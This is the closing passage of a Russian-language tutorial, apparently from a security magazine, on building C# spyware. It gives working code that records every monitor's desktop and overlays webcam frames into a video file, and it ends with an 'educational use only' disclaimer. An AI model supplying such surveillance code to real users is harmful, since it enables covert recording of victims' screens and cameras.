Сле­дующим шагом стар­тует новый отдель­ный поток, в котором про­исхо­дит зах­ват изоб­ражения с рабочих сто­лов.

static void CaptureDesktop(Rectangle bounds){ while (isRecording) { Bitmap combinedFrame = null; lock (videoFrameLock) { // Создаем битмап с размерами, охватывающими все мониторы combinedFrame = new Bitmap(bounds.Width, bounds.Height); using (var g = Graphics.FromImage(combinedFrame)) { // Координаты начала захвата учитывают отрицательные координаты g.CopyFromScreen(bounds.Left, bounds.Top, 0, 0, bounds.Size); lock (webcamFrameLock) { if (webcamFrame != null) { // Положение для кадра веб-камеры int x = combinedFrame.Width - webcamFrame.Width - 10; int y = combinedFrame.Height - webcamFrame.Height - 10; g.DrawImage(webcamFrame, x, y, webcamFrame.Width, webcamFrame.Height); } } } } writer.WriteVideoFrame(combinedFrame); combinedFrame.Dispose(); Thread.Sleep(100); }}

В основном потоке прог­раммы получа­ем видео с веб‑камеры. Обра­бот­ка каж­дого получа­емо­го кад­ра про­исхо­дит в событии NewFrame, где текущий кадр кло­ниру­ется и сох­раня­ется в перемен­ную webcamFrame. Кло­ниро­вание нуж­но по той при­чине, что объ­ект NewFrame как бы счи­тает­ся занятым, и если обра­тить­ся к нему, то вылезет исклю­чение.

static VideoCaptureDevice StartWebCamCapture(){ FilterInfoCollection videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); if (videoDevices.Count == 0) throw new ApplicationException("No webcam found."); VideoCaptureDevice videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString); videoSource.NewFrame += video_NewFrame; videoSource.Start(); return videoSource; } static void video_NewFrame(object sender, NewFrameEventArgs eventArgs){ lock (webcamFrameLock) { webcamFrame?.Dispose(); webcamFrame = (Bitmap)eventArgs.Frame.Clone(); } }

За­тем прог­рамма ждет 20 секунд, видео пишет­ся, пос­ле чего потоки при­оста­нав­лива­ются, а получен­ная запись сох­раня­ется в файл.

Thread.Sleep(20000); // Двадцать секунд для записи isRecording = false; videoSource.SignalToStop(); videoSource.WaitForStop(); screenThread.Join(); writer.Close(); Console.WriteLine("Recording finished.");}

За­пус­каем — и в катало­ге с прог­раммой видим завет­ный виде­оро­лик!

Ус­пешный зах­ват

ВЫВОДЫ

Не зря любая книж­ка по WinAPI для начина­ющих пер­вым делом рас­ска­зыва­ет о гра­фике! И не зря в вузе столь­ко вре­мени показы­вали C# и механизм его работы. Сов­местив раз­рознен­ные зна­ния, мож­но писать слож­ные и необыч­ные шту­ки, в том чис­ле пол­ноцен­ную спай­варь. Глав­ное — пом­ни, что дела­ем мы это стро­го в целях обу­чения, а при­менять если и будем, то в рам­ках кон­трак­та с кли­ентом. Без это­го рас­простра­нение подоб­ных прог­рамм может при­вес­ти к печаль­ным пос­ледс­тви­ям, а не толь­ко к лул­зам.